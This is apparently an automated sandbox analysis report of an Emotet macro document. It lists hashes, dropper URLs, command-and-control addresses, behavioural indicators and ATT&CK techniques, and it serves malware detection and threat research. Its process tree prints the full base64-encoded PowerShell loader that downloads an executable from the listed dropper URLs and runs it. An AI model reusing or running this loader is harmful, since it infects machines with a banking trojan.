emotet | 0d57f0692734be086746e4e2ca37f6ebea2127e37208d0ffd15021970d6b5a0d

General

Target
emotet_e3_0d57f0692734be086746e4e2ca37f6ebea2127e37208d0ffd15021970d6b5a0d_2020-08-12__074538._doc.doc
Size 228KB
Sample200812-e1g85vfj6j
SHA256 0d57f0692734be086746e4e2ca37f6ebea2127e37208d0ffd15021970d6b5a0d
MD5 1643ce91cee310e3ff25d52fcd96cdd4
SHA1 fbe4388112405723b054b12c0ebda246a89e5bd1
SHA512 c3729c9201bbc452e21719aeb132d988127b0cab053a5014193e47d23c44fb0af6a6123a3c807d52482e0ba5db6536bcacd8b6acec7f245ab32ee6e2e38ab366
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://dyzy.c8xtt.com/Uploads/12jtbnwh2xk54420382/
exe.dropper
https://ilmazon.com/images/8nYBgh7izrva76988/
exe.dropper
http://utsunomiya.demae.life/ibtql/WLy/
exe.dropper
http://saharfiroozian.com/wp-admin/MWuA/
exe.dropper
https://studentscorner.info/wp-content/P1p8fid651819/

Extracted

Family

emotet

C2

92.24.51.238:80
139.99.157.213:8080
188.166.25.84:8080
81.214.253.80:443
5.79.70.250:8080
41.185.29.128:8080
181.164.110.7:80
177.37.81.212:443
203.153.216.178:7080
178.33.167.120:8080
77.74.78.80:443
37.70.131.107:80
190.164.75.175:80
75.127.14.170:8080
78.188.170.128:80
113.161.148.81:80
105.209.235.113:8080
177.144.130.105:443
81.17.93.134:80
181.134.9.162:80
163.172.107.70:8080
202.5.47.71:80
192.241.220.183:8080
201.235.10.215:80
203.153.216.182:7080
172.105.78.244:8080
139.59.12.63:8080
192.210.217.94:8080
97.104.107.190:80
31.146.61.34:80
107.161.30.122:8080
182.187.139.200:8080
188.251.213.180:443
37.46.129.215:8080
216.75.37.196:8080
176.9.93.82:7080
87.252.100.28:80
74.208.173.91:8080
198.57.203.63:8080
188.0.135.237:80
181.167.35.84:80
185.142.236.163:443
113.160.180.109:80
50.116.78.109:8080
115.165.3.213:80
187.64.128.197:80
78.189.60.109:443
153.220.182.49:80
87.106.231.60:8080
181.113.229.139:443
143.95.101.72:8080
46.32.229.152:8080
179.5.118.12:80
75.139.38.211:80
157.7.164.178:8081
190.55.233.156:80
212.112.113.235:80
185.208.226.142:8080
195.201.56.70:8080
115.78.11.155:80
192.163.221.191:8080
212.156.133.218:80
114.173.201.110:80
91.83.93.103:443
51.38.201.19:7080
46.105.131.68:8080
190.190.15.20:80
182.176.95.147:80
115.79.195.246:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1896	400	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2272-13-0x0000000002230000-0x000000000223C000-memory.dmp	emotet
behavioral2/memory/2272-13-0x0000000002230000-0x000000000223C000-memory.dmp	emotet
behavioral2/memory/2504-16-0x0000000000800000-0x000000000080C000-memory.dmp	emotet
behavioral2/memory/2504-16-0x0000000000800000-0x000000000080C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
12	1896	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2272	368.exe
2504	PhoneutilRes.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\mfh264enc\PhoneutilRes.exe	368.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4068	WINWORD.EXE
4068	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1896	powersheLL.exe
1896	powersheLL.exe
1896	powersheLL.exe
2504	PhoneutilRes.exe
2504	PhoneutilRes.exe
2504	PhoneutilRes.exe
2504	PhoneutilRes.exe
2504	PhoneutilRes.exe
2504	PhoneutilRes.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1896	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4068	WINWORD.EXE
4068	WINWORD.EXE
4068	WINWORD.EXE
4068	WINWORD.EXE
4068	WINWORD.EXE
4068	WINWORD.EXE
4068	WINWORD.EXE
4068	WINWORD.EXE
4068	WINWORD.EXE
2272	368.exe
2272	368.exe
2504	PhoneutilRes.exe
2504	PhoneutilRes.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 2504	2272	368.exe	74
PID 2272 wrote to memory of 2504	2272	368.exe	74
PID 2272 wrote to memory of 2504	2272	368.exe	74

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_0d57f0692734be086746e4e2ca37f6ebea2127e37208d0ffd15021970d6b5a0d_2020-08-12__074538._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4068

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABIAEkAUwBPAFgAZQB5AGQAPQAnAFMAUgBDAE8AUABkAGkAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAHIASQBUAGAAeQBwAFIAYABPAGAAVABPAGAAQwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABUAEQAQQBEAEgAbABoAHQAIAA9ACAAJwAzADYAOAAnADsAJABBAFcAWQBLAE4AYgBxAGIAPQAnAFIARwBaAFYAQQBlAGMAcQAnADsAJABYAEwAQgBIAFAAdQBuAGUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFQARABBAEQASABsAGgAdAArACcALgBlAHgAZQAnADsAJABJAE8AWABKAEwAaAB2AG0APQAnAEUATwBXAFUAVgBiAG0AcwAnADsAJABVAFgAQgBaAEMAYgBqAHYAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAQwBMAEkARQBuAHQAOwAkAEkATQBTAFkAUwBkAGsAZgA9ACcAaAB0AHQAcAA6AC8ALwBkAHkAegB5AC4AYwA4AHgAdAB0AC4AYwBvAG0ALwBVAHAAbABvAGEAZABzAC8AMQAyAGoAdABiAG4AdwBoADIAeABrADUANAA0ADIAMAAzADgAMgAvACoAaAB0AHQAcABzADoALwAvAGkAbABtAGEAegBvAG4ALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AOABuAFkAQgBnAGgANwBpAHoAcgB2AGEANwA2ADkAOAA4AC8AKgBoAHQAdABwADoALwAvAHUAdABzAHUAbgBvAG0AaQB5AGEALgBkAGUAbQBhAGUALgBsAGkAZgBlAC8AaQBiAHQAcQBsAC8AVwBMAHkALwAqAGgAdAB0AHAAOgAvAC8AcwBhAGgAYQByAGYAaQByAG8AbwB6AGkAYQBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBNAFcAdQBBAC8AKgBoAHQAdABwAHMAOgAvAC8AcwB0AHUAZABlAG4AdABzAGMAbwByAG4AZQByAC4AaQBuAGYAbwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBQADEAcAA4AGYAaQBkADYANQAxADgAMQA5AC8AJwAuACIAcwBgAFAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAFgARgBNAEcAYwBjAG0APQAnAFMAVwBCAEsATgBuAGkAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQAVQBOAEwARABVAG0AagB5ACAAaQBuACAAJABJAE0AUwBZAFMAZABrAGYAKQB7AHQAcgB5AHsAJABVAFgAQgBaAEMAYgBqAHYALgAiAEQAbwBXAG4ATABvAGEAZABGAGAASQBgAGwARQAiACgAJABVAE4ATABEAFUAbQBqAHkALAAgACQAWABMAEIASABQAHUAbgBlACkAOwAkAFgAUgBLAFIAUABiAGMAbAA9ACcAWQBXAEwAWQBJAGkAdAB0ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAWABMAEIASABQAHUAbgBlACkALgAiAEwAYABlAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA0ADkANQAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBgAGUAYQBUAGUAIgAoACQAWABMAEIASABQAHUAbgBlACkAOwAkAFYASABVAEcAWgBiAGMAcQA9ACcAVQBBAEoATQBSAGcAcABhACcAOwBiAHIAZQBhAGsAOwAkAFIASABEAEsAVgBwAGUAcAA9ACcAVQBOAFQAUQBUAHQAbwBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMATABLAFAATQBrAGUAcgA9ACcATwBLAFQAUgBUAGgAdABiACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1896

C:\Users\Admin\368.exe
C:\Users\Admin\368.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\SysWOW64\mfh264enc\PhoneutilRes.exe
  "C:\Windows\SysWOW64\mfh264enc\PhoneutilRes.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2504

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1896-8-0x00007FFBA9E30000-0x00007FFBAA81C000-memory.dmp

Download

memory/1896-9-0x000001D9AE2A0000-0x000001D9AE2A1000-memory.dmp

Download

memory/1896-10-0x000001D9AE470000-0x000001D9AE471000-memory.dmp

Download

memory/2272-13-0x0000000002230000-0x000000000223C000-memory.dmp

Download

memory/2504-16-0x0000000000800000-0x000000000080C000-memory.dmp

Download

memory/4068-7-0x000001D12A375000-0x000001D12A455000-memory.dmp

Download

memory/4068-0-0x00007FFBB1530000-0x00007FFBB1BF6000-memory.dmp

Download

memory/4068-6-0x000001D12A375000-0x000001D12A455000-memory.dmp

Download

memory/4068-5-0x000001D129D2C000-0x000001D129D38000-memory.dmp

Download

memory/4068-3-0x000001D129D2C000-0x000001D129D38000-memory.dmp

Download

memory/4068-2-0x000001D129D2C000-0x000001D129D38000-memory.dmp

Download

memory/4068-4-0x000001D129D2C000-0x000001D129D38000-memory.dmp

Download

memory/4068-1-0x000001D129C08000-0x000001D129C0D000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads